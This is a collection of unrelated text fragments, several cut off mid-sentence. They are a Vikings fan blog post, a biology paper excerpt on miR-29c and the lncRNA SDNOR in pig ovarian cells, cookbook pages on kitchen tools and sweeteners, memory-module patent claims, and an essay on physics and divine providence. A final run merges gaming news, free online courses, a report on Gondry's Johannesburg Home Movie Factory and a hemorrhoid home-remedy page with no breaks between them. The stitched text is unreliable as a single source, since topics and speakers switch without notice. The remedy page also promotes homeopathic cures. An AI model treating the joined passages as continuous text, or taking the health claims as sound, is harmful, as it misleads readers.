feel like every knee at Winter Park should be labeled Handle With Care. We were really starting to believe in this Vikings team after Week 3. Sadly, we’re once again Finding Out that we’ve been Fooled Again (I Don’t Like It). It’s just The Same Old You when it comes to our favorite team. Sometimes it feels like cheering for the Vikings is A Wasted Life in a Dirty World. Alas, it isn’t The End Of The Line for the purple and gold just yet. The Vikings are still 2-2 and nobody appears to be ready to run away with the NFC anytime soon. They’re Alright For Now. As bleak as things may seem, Love Is A Long Road. Celebrating a big win on Monday night could change our perspective. The Chicago Bears haven’t had a lot to celebrate over the past several years. The Bears haven’t made the playoffs since 2010. They have lost at least ten games the past three seasons, and their 1-3 start isn’t exactly conjuring up a lot of hope for things to change

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MOESM4){ref-type="media"}). In a luciferase activity assay, miR-29c dramatically decreased the luciferase activity of pmirFZD4-WT (Fig. [3c](#Fig3){ref-type="fig"}). Conversely, the luciferase activity of pmirFZD4-mut, which harbors a MRE mutation, did not change under miR-29c treatment (Fig. [3c](#Fig3){ref-type="fig"}). These data indicate that miR-29c directly targets porcine *FZD4* via its 3′-UTR region.Fig. 3miR-29c attenuates FZD4 expression and induced porcine GC apoptosis.**a** Potential miRNAs targeting FZD4 were predicted through four different algorithms. **b** Diagram showing the sequence of putative miR-29c binding site in *FZD4* 3′UTR and MFE (minimum free energy). Black line indicated miR-29c seed sequence. **c** Recombinant reporter vectors containing MRE wild-type (WT), mutated *FZD4* 3′UTR (top), and their luciferase activities in HEK293T cells with or without miR-29c were calculated (bottom). miR-29c levels (**d**) and *FZD4* mRNA levels (**e**) in porcine GCs treated with miR-29c mimcis (miR-29c^OE^) were assessed by qRT-PCR. **f** Western blot analysis (left) and quantification (right) for FZD4 and β-catenin protein levels in porcine GCs with miR-29c overexpression. GAPDH serves as control. miR-29c levels (**g**) and *FZD4* mRNA levels (**h**) in porcine GCs treated with miR-29c inhibitor (miR-29-inhi) were assessed by qRT-PCR. **i** Western blot analysis (left) and quantification (right) for FZD4 and β-catenin protein levels in pGCs transfection with miR-29c knockdown. GAPDH serves as control. FACS analysis (left) and quantification (right) for the apoptosis rate of porcine GCs after miR-29c mimics treatment or with FZD4 overexpression (FZD4^OE^) (**j**), and miR-29c inhibitor addition or with FZD4 knockdown (**k**). Data in **c**--**k** are represented as mean ± S.E.M. (*n* = 3, each). \*\**p* \< 0.01, ns indicates no significance versus control or scrambled. In vivo, miR-29c and *FZD4* mRNA levels were negatively correlated (*r* = −0.6151, *p* = 0.033) in follicles of porcine ovary (Fig. [S4](#MOESM5){ref-type="media"}). To determine the effects of miR-29c on endogenous FZD4 expression in porcine GCs, we performed loss- and gain-of-function experiments (Fig. [3d, g](#Fig3){ref-type="fig"}). Ectopic expression of miR-29c dramatically decreased the levels of *FZD4* mRNA (Fig. [3e](#Fig3){ref-type="fig"}) and FZD4 protein (Fig. [3f](#Fig3){ref-type="fig"}), as well as the level of β-catenin (Fig. [3f](#Fig3){ref-type="fig"}), in GCs. By contrast, the levels of *FZD4* mRNA (Fig. [3h](#Fig3){ref-type="fig"}), FZD4 protein, and β-catenin protein (Fig. [3i](#Fig3){ref-type="fig"}) were significantly increased by miR-29c depletion. These data suggest that FZD4 is a functional target of miR-29c in GCs, and that miR-29c inhibits both FZD4 and the FZD4-dependent Wnt signaling pathway. We next investigated the role of miR-29c in porcine GCs. FACS revealed that ectopic expression of miR-29c significantly induced GC apoptosis (Fig. [3j](#Fig3){ref-type="fig"}), whereas inhibition of miR-29c significantly decreased it (Fig. [3k](#Fig3){ref-type="fig"}), indicating that miR-29c acts as a pro-apoptotic factor in porcine GCs. Furthermore, miR-29c-induced GC apoptosis was prevented by FZD4-OE (Fig. [3j](#Fig3){ref-type="fig"}). Depletion of FZD4 restored GC apoptosis in cells treated with miR-29c inhibitor (Fig. [3k](#Fig3){ref-type="fig"}). In addition, miR-29c significantly elevated the level c-Caspase-3, and this effect was reversed by ectopic expression of FZD4 (Fig. [S5](#MOESM6){ref-type="media"}). Together, these results prove that miR-29c directly targets FZD4 and inhibits its expression, leading to apoptosis. *SDNOR*, a novel SMAD4-dependent lncRNA, is involved in follicular atresia and GC apoptosis {#Sec18} ------------------------------------------------------------------------------------------- To further investigate the mechanism underlying SMAD4 inhibition of miR-29c, we deduced a SMAD4-dependent lncRNA--miR-29c interaction network from our previous RNA-seq data^[@CR38]^. Notably, a novel lncRNA not only interacts with miR-29c, but also maps near *FZD4* on porcine chromosome 9 was identified. We performed a RACE assay to obtain the full-length sequence of this lncRNA, and found that it is 739 nt in length (Figs. [4a, b](#Fig4){ref-type="fig"} and [S6a](#MOESM7){ref-type="media"}). Based on bioinformatic prediction, this lncRNA has no protein-coding potential (Fig. [S6b, c](#MOESM7){ref-type="media"}); accordingly, we named it *SDNOR*. Porcine *SDNOR* is located \~69.5 kb upstream of *FZD4* (chromosome 9) and consists of five exons and four introns that exhibit relatively low evolutionary conservation among mammals (Fig. [4c](#Fig4){ref-type="fig"}). In addition, we identified an enrichment in H3K27 acetylation at the TSS of porcine *SDNOR*, suggesting that it has the features of an RNA polymerase II transcription unit (Fig. [4c](#Fig4){ref-type="fig"}).Fig. 4*SDNOR*, a novel antiapoptotic lncRNA, is regulated by SMAD4.Detection of 5′ and 3′ terminals of the novel lncRNA by using 5′RACE (**a**) and 3′RACE (**b**). **c** Schematic annotation of *SDNOR* with associated UCSC Genome Browser tracks depicting genomic locus, GC percent, H3K27Ac modification as well as mammalian conservation. **d** qRT-PCR validation of *SDNOR* expression levels in pig ovarian GCs and TCs (Theca cells). **e** Detection of *SDNOR* expression in healthy follicles (HF) and atresic follicles (AF), assessed by qRT-PCR (*n* = 10). **f** *SDNOR* expression levels in porcine GCs after *SDNOR* knockdown, determined by qRT-PCR. **g** FACS analysis (left) and quantification (right) of the apoptosis rate of porcine GCs after *SDNOR* knockdown. **h** Representative western blot analysis (left) and quantification (right) of c-Caspase-3 protein levels in GCs after *SDNOR* knockdown. **i** Luciferase activities of reporter vectors containing pig *SDNOR* promoter in porcine GCs with or without SMAD4 overexpression (S4^OE^) were assessed. **j** Diagram depicting *SDNOR* promoter (top) and ChIP assay (down), SBE shown as pink diamonds; F1′/R1′, F2′/R2′, and F3′/R3′: primers used for ChIP and ChIP-qPCR assay. **k** ChIP-qPCR were performed to detect the different SBEs in the promoter of *SDNOR* following immunoprecipitation with a SMAD4 antibody. Throughout, all experiments were performed in triplicate. Data in **d**--**k** are shown as mean ± S.E.M. (*n* = 3, each). \*\**p* \< 0.01 versus control or scrambled. Tissue expression profiling of the reproductive system revealed that *SDNOR* is abundantly expressed in porcine ovary (Fig. [S6d](#MOESM7){ref-type="media"}). In ovarian follicles, *SDNOR* was mainly present in GCs (Fig. [4d](#Fig4){ref-type="fig"}). Notably, we also observed that *SDNOR* was dramatically downregulated during follicular atresia (Fig. [4e](#Fig4){ref-type="fig"}), suggesting that it is somehow involved in this process. To further assess the role of *SDNOR* in regulating follicular atresia, we knocked down endogenous *SDNOR* in porcine GCs cultured in vitro (Fig. [4f](#Fig4){ref-type="fig"}). Silencing of *SDNOR* significantly increased GC apoptosis (Fig. [4g](#Fig4){ref-type="fig"}) and the level of c-Caspase-3 (Fig. [4h](#Fig4){ref-type="fig

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RESTAURANT-INSPIRED RECIPES—FAVORITE TOOLS It goes without saying that measuring cups and spoons, cutting boards, bowls, and a basic set of pots and pans are required when making recipes. When doing so with restaurant-quality, consistency, and focus in mind, here are some other essentials that come in handy. **KITCHEN SCALE**. For accuracy in making a dish, nothing is more valuable than a food scale. Once you have one, I guarantee you'll use it more than you ever thought you would. **SHARP KNIVES.** Sharp knives make food prep faster and easier; they produce cleaner cuts and more uniform pieces, and they're safer. (A knife sharpener is a good investment too.) **MICROPLANE GRATERS.** Beyond having the attributes of sharp knives, ultra-sharp graters require little skill to produce fine zest and wafer-thin shards of cheese for garnishing and more. **MISE EN PLACE BOWLS.** Having all your ingredients ready allows you to focus on the steps. I have two sets of small bowls (and also find 2 and 4 cup Pyrex measuring cups handy). **A SHARP SLICER.** You don't need an expensive mandoline or expert knife skills to make perfectly sliced tomatoes, cucumbers, or onions. An inexpensive V-slicer works wonders. **MULTIPLE MIXING SPOONS, SPATULAS, AND WHISKS.** Various sizes and shapes mean you always have the perfect tool for the job (like lifting a flaky piece of fish to neatly plate it). **TONGS.** Several pairs with metal tips and rubber tips. From flipping meat, chicken, and bacon, to serving pasta and sides, tongs are like having an extra hand (that can take the heat!). **NONSTICK SKILLETS.** 8-, 10-, and 12-inch. These are the workhorse pans in any kitchen. Be sure you have lids from pots that can be used for steaming, or purchase a large universal lid. **NONSTICK GRILL PAN.** Want to grill or create grill marks in a hurry? Just set one of these no-fuss pans on your stovetop and you're set to go—year-round. I frequently purchase these for gifts. **INSTANT-READ THERMOMETER.** There's no better way to determine doneness. See here for more information and a cooked-to-perfection temperature chart. * _All sugar substitute packets are equivalent to the sweetness of 2 teaspoons of sugar. Do not measure packets' contents; the contents are far more intense than measurable amount. (Not recommended for baked goods.)_ # EAT WHAT YOU LOVE ## CREATING RESTAURANT-INSPIRED MEALS AT HOME Here's some great news. You don't have to be a restaurant chef to produce restaurant-worthy dining occasions at home! As important as chopping, searing, and perfect plating are planning, organization, and paying attention to detail—and, of course, using a good recipe. Here are some tips to bring it all together. **EIGHT EASY TIPS FOR DINING IN** **1. KEEP YOUR PANTRY WELL STOCKED (SEE HERE).** Keep tabs on condiments, canned goods, and spices and add "backups" like canned milk and broth packets to your larder. Don't forget to keep fresh citrus like lemons, limes, or oranges, along with green onions, parsley, cilantro, or tomatoes, on hand for last-minute garnishing. **2. INVEST IN THE RIGHT TOOLS.** Having the right tools (see here) will help ensure that you get the best results. Don't skimp on the most valuable tools. Money spent on a good sharp knife, pots, and solid sauté pans will pay back the investment. **3. MAKE A PLAN.** Read each recipe thoroughly, noting the ingredients, required equipment, and timing. When making more than one dish, pre-determine the best sequence of events ahead of time. **4. GET ORGANIZED.** With your plan set, it's time to prep! Create a "mise en place" by gathering tools and prepping, measuring, and organizing all ingredients. **5. EMBRACE THE HEAT.** Chefs know that the power of a good sear adds color and flavor when cooking meats and vegetables; fully preheat skillets and ovens as directed. **6. TASTE!** Taste as you go, add seasonings to taste, and adjust accordingly; enough said. **7. CREATE A PRETTY PLATE.** Food always looks great on white dishes. Get creative and lay sauces down first and/or layer protein atop starches like potatoes or rice, clean any splatters from the rim, and _always_ add a garnish. Garnishes should complement the dish and be edible. **8. SET THE SCENE.** It doesn't need to be elaborate. Nice napkins, whether paper or cloth, a set table (flowers and/or candles optional), and soft music make all food taste better. # [EAT _what you_ LOVE RESTAURANT FAVORITES](toc.xhtml#toc-part001) ## RECIPES # COFFEEHOUSE / DONUT SHOPS Coffee Coolatte McCafé-Style Frosty Caramel & Mocha Frappés Better-for-You Strawberry Banana Smoothie DIY Cold-Brew Mocha Iced Coffee Bacon and Egg Avocado Toast Egg, Spinach, and Sausage Wake-Up Wrap Small Batch Apple Fritter Donut Muffins Fast-Fix Fruit & Cream Cheese Danish Classic Cinnamon Coffee Cake Quick 'N' Easy Blueberry Banana Breakfast Loaf Almond Joy Hot Chocolate # _For the Love of_ ## SUGAR Cooking—and especially baking—with less sugar can be challenging. That's why I'm happy to say that today there are more reduced-calorie sweetening options than ever, including those that are all-natural. While there are many options, I have found the following to be easy-to-find, easy-to-use, economical, safe, and most of all, deliciously sweet for cooking and baking. **_Every recipe that calls for a "sweetener" was tested with the sweeteners below. Use the information below to select the sweetening choice, or to assist with another alternative, that suits you and yours best._** **SUCRALOSE.** Recipes were tested and analyzed with granulated no-calorie sucralose-based sweeteners, which measure 1:1 for sugar. It is the sweetener that delivers the best-tasting results for the fewest calories and carbs. (Packets work well for beverages*.) **ALL-NATURAL STEVIA (BAKING BLEND).** There are many types and brands of all-natural stevia-based sweeteners; they differ greatly, however, in sweetness, taste, and safeness. Recipes were tested with Truvia Baking Blend, made with 25% real sugar. It has 75% fewer calories and carbs when compared to sugar and no unpleasant aftertaste (as is common with stevia). The blend is twice as sweet as sugar, so you _**simply halve the amount of sweetener called for in any recipe**_ (see chart below). Baking time may need to be extended slightly. The caloric difference per serving when compared to sucralose for the recipes in this book is less than 10 calories. Packets work well in beverages.* **GRANULATED SUGAR.** Even if you choose to use regular sugar, my recipes are healthier than their higher-calorie counterparts. When using regular sugar in baked goods, omit ¼ teaspoon of baking soda per cup of sweetener and expect to increase the baking time by a couple of minutes for cakes, 3 to 5 minutes for cookies, and up to 5 minutes for muffins. Check all baked goods according to the recipe's test for doneness. (Tip: The normal substitution for sugar is 1:1 for measured granulated no-calorie sweetener; however, you can cut one-fourth of the sugar called for in most baked goods with the only effect being slightly reduced sweetness.) **Equivalent Measure** **Granulated Sucralose: 1 cup** **Stevia/Sugar Baking Blend: ½ cup** **Sugar: 1 cup** **Calories** **Granulated Sucralose: 96** **Stevia/Sugar Baking Blend: 190** **Sugar: 784** **Carbohydrates** **Granulated Sucralose: 24** **Stevia/Sugar Baking Blend: 47 (usable)** **Sugar: 190** **Recipe Adjustments** **Granulated Sucralose: None** **Stevia/Sugar Baking Blend: May need a few more minutes' baking time** **Sugar: See "Granulated sugar

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third set of interface connections. The third memory module preferably has a third memory component having a third memory core for storing data therein, a fifth set of interface connections for providing access to the third memory core, a sixth set of interface connections for providing access to the third memory core, and third access circuitry for selecting between a first mode wherein a first portion of the third memory core is accessible through the fifth set of interface connections and a second portion of the third memory core is accessible through the sixth set of interface connections, and a second mode wherein both the first portion and the second portion of the third memory core are accessible through the fifth set of interface connections. Also, if such is the case, the third data port is beneficially connected to the sixth set of interface connections for providing access between the memory controller and the third memory module, the second set of interface connections is beneficially connected to the third set of interface connections for providing access between the first memory module and the second memory module, and the fourth set of interface connections is beneficially connected to the fifth set of interface connections for providing access between the second memory module and the third memory module. In accordance with still further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having a first memory component with a first memory core and first access circuitry, wherein the memory controller includes a first data port, a second data port, and a third data port, wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module, and wherein the second data port is connected to the second set of interface connections for also providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module having a second memory component having a second memory core for storing data therein, a third set of interface connections for providing access to the second memory core, a fourth set of interface connections for providing access to the second memory core, and second access circuitry for selecting between a first mode wherein a first portion of the second memory core is accessible through the third set of interface connections and a second portion of the second memory core is accessible through the fourth set of interface connections, and a second mode wherein both the first portion and the second portion of the second memory core are accessible through the third set of interface connections. Also, if such is the case, the third data port is beneficially connected to the third set of interface connections for providing access between the memory controller and the second memory module. In another exemplary embodiment, the techniques are realized through a memory system comprising a memory module and a memory controller. The memory module comprises at least one memory component for providing memory storage locations for storing data therein, a first set of interface connections for providing access to at least some of the memory storage locations, and a second set of interface connections for providing access to at least some of the memory storage locations. The memory module also comprises access circuitry for selecting between a first mode wherein a first group of the memory storage locations is accessible through the first set of interface connections and a second group of memory storage locations is accessible through the second set of interface connections, and a second mode wherein both the first group and the second group of memory storage locations are accessible through the first set of interface connections. The memory controller provides memory access signals to the memory module for selecting between the first mode and the second mode. In accordance with other aspects of this exemplary embodiment of the present invention, the memory controller may include a first data port and a second data port for providing access to the memory module, wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the memory module. If such is the case, the memory system may further comprise a continuity module connected to the second data port and the second set of interface connections for providing access between the memory controller and the memory module. In accordance with further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having at least one first memory component for providing first memory storage locations and first access circuitry, wherein the memory controller includes a first data port and a second data port, and wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module having at least one second memory component for providing second memory storage locations for storing data therein, a third set of interface connections for providing access to at least some of the second memory storage locations, a fourth set of interface connections for providing access to at least some of the second memory storage locations, and second access circuitry for selecting between a first mode wherein a first group of the second memory storage locations is accessible through the third set of interface connections and a second group of the second memory storage locations is accessible through the fourth set of interface connections, and a second mode wherein both the first group and the second group of the second memory storage locations are accessible through the third set of interface connections. Also, if such is the case, the second data port is beneficially connected to the third set of interface connections for providing access between the memory controller and the second memory module, and the second set of interface connections is beneficially connected to the fourth set of interface connections for providing access between the first memory module and the second memory module. In accordance with still further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having at least one first memory component for providing first memory storage locations and first access circuitry, wherein the memory controller includes a first data port, a second data port, and a third data port, and wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module and a third memory module. The second memory module preferably has at least one second memory component for providing second memory storage locations for storing data therein, a third set of interface connections for providing access to at least some of the second memory storage locations, a fourth set of interface connections for providing access to at least some of the second memory storage locations, and second access circuitry for selecting between a first mode wherein a first group of the second memory storage locations is accessible through the third set of interface connections and a second group of the second memory storage locations is accessible through the fourth set of interface connections, and a second mode wherein both the first group and the second group of the second memory storage locations are accessible through the third set of interface connections. The third memory module preferably has at least one third memory component for providing third memory storage locations for storing data therein, a fifth set of interface connections for providing access to at least some of the third memory storage locations, a sixth set of interface connections for providing access to at least some of the third memory storage locations, and third access circuitry for selecting between a first mode wherein a first group of the third memory storage locations is accessible through the fifth set of interface connections and a second group of the third memory storage locations is accessible through the sixth set of interface connections, and a second mode wherein both the first group and the second group of the third memory storage locations are accessible through the fifth set of interface connections. Also, if such is the case, the third data port is beneficially connected to the sixth set of interface connections for providing access between the memory controller and the third memory module, the second set of interface connections is beneficially connected to the third set of interface connections for providing access between the first memory module and the second memory module, and the fourth set of interface connections is beneficially connected to the fifth set of interface connections for providing access between the second memory module and the third memory module. In accordance with still further aspects of this exemplary embodiment of the present invention, the memory module may be a first memory module having at least one first memory component for providing first memory storage locations and first access circuitry, wherein the memory controller includes a first data port, a second data port, and a third data port, wherein the first data port is connected to the first set of interface connections for providing access between the memory controller and the first memory module, and wherein the second data port is connected to the second set of interface connections for also providing access between the memory controller and the first memory module. If such is the case, the memory system may further comprise a second memory module having at least one second memory component for providing second memory storage locations for storing data therein, a third set of interface connections for providing access to at least some of the second memory storage locations, a fourth set of interface connections for providing access to at least some of the second memory storage locations, and second access circuitry for selecting between a first mode wherein a first group of the second memory storage locations is accessible through the third set of interface connections and a second group of the second memory storage locations is accessible through the fourth set of interface connections, and a second mode wherein both the first group and the second group of the second memory storage locations are accessible through the third set of interface connections. Also, if such is the case, the third data port is beneficially connected to the third set of interface connections for providing access between the memory controller and the second memory module. In another exemplary embodiment, the techniques are realized through a memory system comprising a memory controller/module connector having designated active and inactive address and data sites. The memory system also comprises a memory controller having a plurality of groups of address and data lines, wherein each group of address lines is connected to a respective active address site, and wherein each group of data lines is connected to a respective active data site. The memory system further comprises at least one memory module having a memory component with a memory core for storing data therein, wherein each memory module has a plurality of sets of address and data contacts for providing access to the memory core. Each memory module is

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in the contingent aspects of evolution as well as in the lawful regularity that constrains it? Christian theology uses personal language about God (however stretched that language necessarily is), calling God "Father" rather than "Force," precisely because it believes that in particular circumstances divine providence acts to bring about particular consequences. The coherence of holding this belief, while taking modern science seriously, is the issue to be explored in the following section. Causal Structure In the eighteenth and nineteenth centuries, it seemed to many as if the deterministic equations of Newtonian physics implied that the universe is a world of clockwork mechanism, with its Creator simply the great cosmic Clockmaker. There was always something suspicious about this idea, since human experience of choice and responsibility surely indicates that persons are not just automata. However, in the twentieth century the discovery of intrinsic unpredictabilities present in nature, both at the microscopic level of quantum physics and, later, at the macroscopic level of the exquisitely sensitive systems of chaos theory, showed that the universe is something more subtle than a merely mechanical world. The word "intrinsic" is important here, for the unpredictabilities involved are of a kind that cannot be removed by more careful measurement or by more precise calculation. They are properties of physical reality. Unpredictability might be epistemological or ontological in character. In the former case, it would just be the consequence of an unavoidable ignorance of all the factors involved, which if actually known would be sufficient fully to predict a particular outcome. The fall of a die would be a homely example of epistemic unpredictability. Ontological unpredictability is much more radical in its character, for it corresponds to the presence of real indeterminacy. The Copenhagen interpretation of quantum physics, stemming from the thought of Niels Bohr, has this character. It considers the Heisenberg uncertainty principle to be a principle of radical indeterminism and not simply a principle of necessary ignorance. Yet physics itself does not enforce this conclusion. There is an alternative interpretation of quantum theory, due to David Bohm (see Bohm and Hiley 1993), which is fully deterministic, in which uncertainty does indeed arise from unavoidable ignorance of all the causal factors involved. The theories of Bohr and Bohm both lead to identical empirical consequences, so that the choice between them cannot be made on the ground of physics alone, but is a matter requiring also metaphysical decision. Almost all physicists side with Bohr, one of the reasons being that Bohm's theory, though very ingenious and instructive, has about it an air of unnatural contrivance which fails to make it metaphysically persuasive. The lesson to derive from this quantum controversy is the recognition that while physics constrains our ideas about causality, it is not sufficient on its own to determine them. I have suggested that we should take a similar metaphysical approach to interpreting the unpredictabilities of chaos theory, seeing them as indications of further causal openness in physical process, now present at the macroscopic level (Polkinghorne 1991 34–48). The issue cannot be settled by appealing to the deterministic equations from which chaos theory took its mathematical origin, since we know that classical physics can offer only an approximate account of reality. The strategy of interpreting intrinsic unpredictability ontologically is a natural one to take for those of a realist disposition in the philosophy of science, for whom what we know, or cannot know, is taken to be a reliable guide to what is the case. To do so does not imply that the future is some sort of random lottery, but simply that there are more causal factors active in bringing it about than those which science can describe in its reductionist terms of the exchange of energy between constituents. It would be natural to suppose that these additional causal factors include the exercise of human agency and divine providential interaction, both taking place within the open grain of created nature. What this discussion certainly shows is that physics has not established the causal closure of the world on its terms alone. This judgment is reinforced by the recognition that the account of causal structure offered by physics is not only metaphysically ambiguous, but it is also distinctly patchy in its character. Often the connections between different regimes are not well understood. For example there is no fully adequate account of how the apparently clear and reliable world of everyday experience emerges from its cloudy and fitful quantum substrate. Microscopic quantum theory and macroscopic chaos theory, as presently formulated, are incompatible with each other. Quantum physics has a scale (giving a meaning to "large" and "small" and set by Planck's constant), while chaos theory is notoriously fractal in character, looking the same on any scale on which it is sampled. The two theories just do not fit consistently together. The conclusion is that one can take absolutely seriously all that physics can actually tell us about the causal structure of the universe, without being driven to deny human agency or exclude that providential activity of God within its history to which many religious traditions, including Christianity, bear witness. Relationality In the eighteenth century, physical thinking had a strongly atomistic character, but the succeeding two centuries have seen an increasing recovery of the importance of relationality. Among the greatest triumphs of nineteenth-century physics was James Clerk Maxwell's theory of electromagnetism. It relational significance does not derive from its being a field theory, since fields, while spread out in space and varying in time, have a local character in the sense that changes occurring at two separated locations are independent and have no immediate effect upon each other. What was relationally significant in Maxwell's theory was the intimate linkage it revealed between electricity and magnetism, two sets of phenomena which superficially had seemed completely unrelated to each other. A unifying trend of this kind has proved to be a continuing feature of physical thinking. Albert Einstein's discovery of general relativity showed how space, time, and matter form an integrated system in which matter curves space-time and this curvature in turn influences the motion of particles of matter. The Newtonian picture of isolated atoms colliding in the container of absolute space, and in the course of the unfolding of absolute time, has had to be replaced by an altogether more relational account, in which space, time, and matter are joined together in a kind of physical package deal. The quest for further unification has continued. In the 1960s, Steven Weinberg and Abdus Salam were independently able to integrate electromagnetism and the weak nuclear force, responsible for such phenomena as radioactive nuclear decay, in a single electroweak theory. Today, most physicists entertain the belief that there is a Grand Unified Theory, capable of combining in a single account all the forces of nature, including gravity, though so far no fully satisfactory theory of this kind has been successfully formulated. The extreme sensitivity of chaotic systems to the slightest influence coming from their environment means that they can never adequately be considered in separation from that environment. However, the most striking discovery of intrinsic relationality in physics has been quantum entanglement. In the 1930s, Einstein and two young colleagues noticed that quantum theory implied that two quantum entities which had once interacted with each other could, in consequence, be in a state in which they retained a power of instantaneous influence on each other, however far they became separated. This mutual connection is a true ontological effect, producing real change in both entities, and not simply epistemological, revealing something that had always been the case. The entangled particles effectively constitute a single, non-local, system. Einstein thought that this togetherness-in-separation was so "spooky" that it must imply that there was something wrong with modern quantum theory, which he had always disliked. However, in the 1980s, clever experiments demonstrated that quantum entanglement is indeed a property of nature. The instantaneous action-at-a-distance that this implies is not a violation of special relativity, since careful analysis shows that it cannot be used to send information that would permit the synchronization of separated clocks, something that is forbidden by special relativity. Quantum entanglement shows us that even the subatomic quantum world cannot be treated atomistically. Today a further scientific development of considerable potential significance is taking place through the study of complex systems, treated holistically as integrated entities and not decomposed into their constituent parts in science's traditionally reductionist manner. Current complexity theory is at the natural history stage of the study of many particular examples and it has not yet reached the mature scientific status of attaining a properly formulated general theory, explaining the underlying source of its diverse phenomena. The systems so far studied are far less complicated than even a single living cell, but nevertheless astonishing holistic properties have been discovered which were wholly unforeseeable from the point of view of a constituent-based analysis. These complex systems display very remarkable self-organizing powers to generate patterns of dynamically ordered holistic behavior (see Prigogine and Stengers 1984; Kauffman 1995). A simple example is provided by Bénard convection. Fluid is confined between two horizontal plates and the lower is maintained at a higher temperature than the upper. In certain well-defined circumstances, the transfer of heat between the two plates is carried by the convective motion of hot fluid, in a process which takes place within an orderly pattern of hexagonal convection cells. This spontaneously structured behavior involves the correlated motions of literally trillions upon trillions of fluid molecules. The discovery of phenomena of this kind strongly suggests that the traditional reductionist physics based on the exchange of energy between constituents will need complementing by a holistic theory of the behavior of systems considered as totalities, reflecting the fact expressed in the slogan, "More is different" – the whole is more than the sum of its parts. A key concept in this holistic theory, when it is finally formulated, will surely be "information," meaning the specification of the dynamical pattern of total energy flow in the system. It is a plausible expectation that, as complexity theory comes of age, information will take its place alongside energy as a key category in physical thinking. The developments

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up/feed/19Sony: We’re not done with Killzonehttp://www.vg247.com/2011/02/23/sony-were-not-done-with-killzone/ http://www.vg247.com/2011/02/23/sony-were-not-done-with-killzone/#commentsWed, 23 Feb 2011 22:34:26 +0000http://www.vg247.com/?p=151237Sony India chief Atindriya Bose has said Killzone 3 is likely not the end of the franchise, leaving us exactly as informed as we were ten minutes ago. Speaking to Gamingbolt, Bose was unable to state firmly that a fourth entry in the series is definitely on the agenda. “See, I have not seen it in any product lineup, that I can confirm,” he said. “And if it does exist, we cannot really tell many people about it. It’s difficult to comment. “But it’s a numerical order- we had Killzone 1, then 2, then 3. Killzone is a franchise we have invested in, it is a franchise we know does wonders for us, and therefore it’s a franchise that we’ll always back up.” Translation: Sony would be mad to start talking Killzone 4 right now, but you can bet your boots it’ll happen when Killzone 3 sells a gazillion units.The web has democratized a lot of things since its birth, including the learning previously available only with a hefty tuition check. College site Education Portal has a handy list of the colleges that offer the most comprehensive course material online, including open-course trailblazers like the Massachusetts Institute of Technology and Tufts University, and programs like Stanford’s lecture podcasts on iTunes U. You can’t get a sheepskin for free, but you can further your knowledge and training for less than even the cost of a book. For way more college-based free learning, check out Wendy’s comprehensive guide to the.edu underground.JOHANNESBURG — Interested in making your own movie, but don’t have the money for a camera, or costumes or a set? Don’t worry. Johannesburg’s Home Movie Factory has you covered. In a former car body repair warehouse outside downtown Johannesburg, a group of workers from a non-profit foundation in Soweto are making a movie. The movie, which they call The Shebeen Queen, deals with issues of drugs, sex and AIDS. The film will likely never get to the Cannes Film Festival, let alone your local theater. But that's not exactly the point of the exercise. The Home Movie Factory is the brainchild of Academy Award winning director Michel Gondry, who has made films such as Eternal Sunshine of the Spotless Mind, The Science of Sleep and The Green Hornet. Concept The concept was developed to allow the public to come in and make movies on a pre-designed set, and get the experience of going through the filmmaking process. Gondry's idea is based on his movie Be Kind Rewind, in which two movie store clerks remake Hollywood blockbusters on a shoestring budget. He's taken this idea to Paris, New York, Rio de Janeiro, Rotterdam and Moscow. "There are a couple of philosophies which is why it’s such a good project," he said. "It’s to give people who don't have creativity as their everyday work the chance to, without all the industrial process, to understand the experience and joy of filmmaking. This is Arya Lalloo, the creative director for the Home Movie Project. "Also, part of the idea is to find within the groups, within the team set up you are able to interact with strangers or people you know in a different kind of way," said Lalloo. Visitors are put in groups of about 15. They spend the first 45 minutes democratically narrowing down the genre and theme of their movie. The next 45 minutes are spent coming up with a plot, filming locations, actors, costumes and hammering out other details. Finally, the crew heads onto the set - a large empty warehouse space divided into different film backdrops - a bedroom, kitchen, church, courthouse, doctor’s office, two Ford Cortinas, a Minibus and a township home. The filming begins. "People really come together in the creative process and all those social barriers, and inhibitions, when you are in a creative moment seem to kind of dissolve. The process itself is very interesting," said Lalloo. The owners of the Bioscope Theater in Johannesburg, Darryl Els and Russell Grant, convinced Gondry to allow them to bring the idea to Johannesburg - the first city in Africa to have the project. "This city is yearning for something different," said Els. "It’s been living. People have been going to shopping malls and carbon copy nightclubs. It’s really a matter of Johannesburg offering these new things. So I think it was important that something like this came to Joburg.” Popularity of project Important? Maybe. But definitely popular. The project, which began in early September, has already produced 150 movies, and has been booked solid. When different groups combine to make a movie, the results are always interesting, says Vusi Thwala a guide at the factory. He's noticed some trends. "White groups tend to focus on horror and sci-fi, while black groups come in and do gangs and drugs," said Thwala. "When you combine them together, you get a whole lot of challenges. You get sci-fi and township action tied together. The type of energy you get there is actually hilarious - it’s something you didn't think you'd see." To make the project work, Els and Russell raised funds locally and received fundraising help from the French Institute. Because of the fundraising, there is no cost to anyone who comes in to make a film. So far things have been running smoothly, but Els says they did decide to make one change early on. "Do we still have the gun? We took the guns away from the prop room. [Cause there was always cops and robbers]. That has not stopped the violent narrative from taking place. Generally people tend to die at the end of every movie... There is a thing where you can't lead the stories too much," said the guide. At the end of filming, each group walks over to the Bioscope Independent Cinema to watch their film. Tabiso Selepe, who was with the group from Soweto, says this was a unique experience. "It was like scary at times. But acting is acting. It's fun. It's entertaining. I feel like Nicholas Cage, eh. We are like superstars today, like an action movie," said Selepe. The Home Movie Factory is open through the end of November. You can reserve your spot at the Johannesburg Home Movie Factory Facebook page.If you're suffering from hemorrhoids, (also known as piles) you may be desperate to get rid of them and are prepared to try some or all hemorrhoids home remedies. Suffering from a hemorrhoid condition can be very painful and distressing. You may think that you're all alone, but you're not. At least 40 percent of the adult population will suffer from hemorrhoids at some point in their life. And like you, they want to get rid of hemorrhoids for good, too. So does a natural treatment for piles actually work? Well, first you have to decide which of the hemorrhoids homeopathic cures to try first. For instance, drinking green tea daily is regarded as a hemorrhoids homeopathic remedy. However, green tea 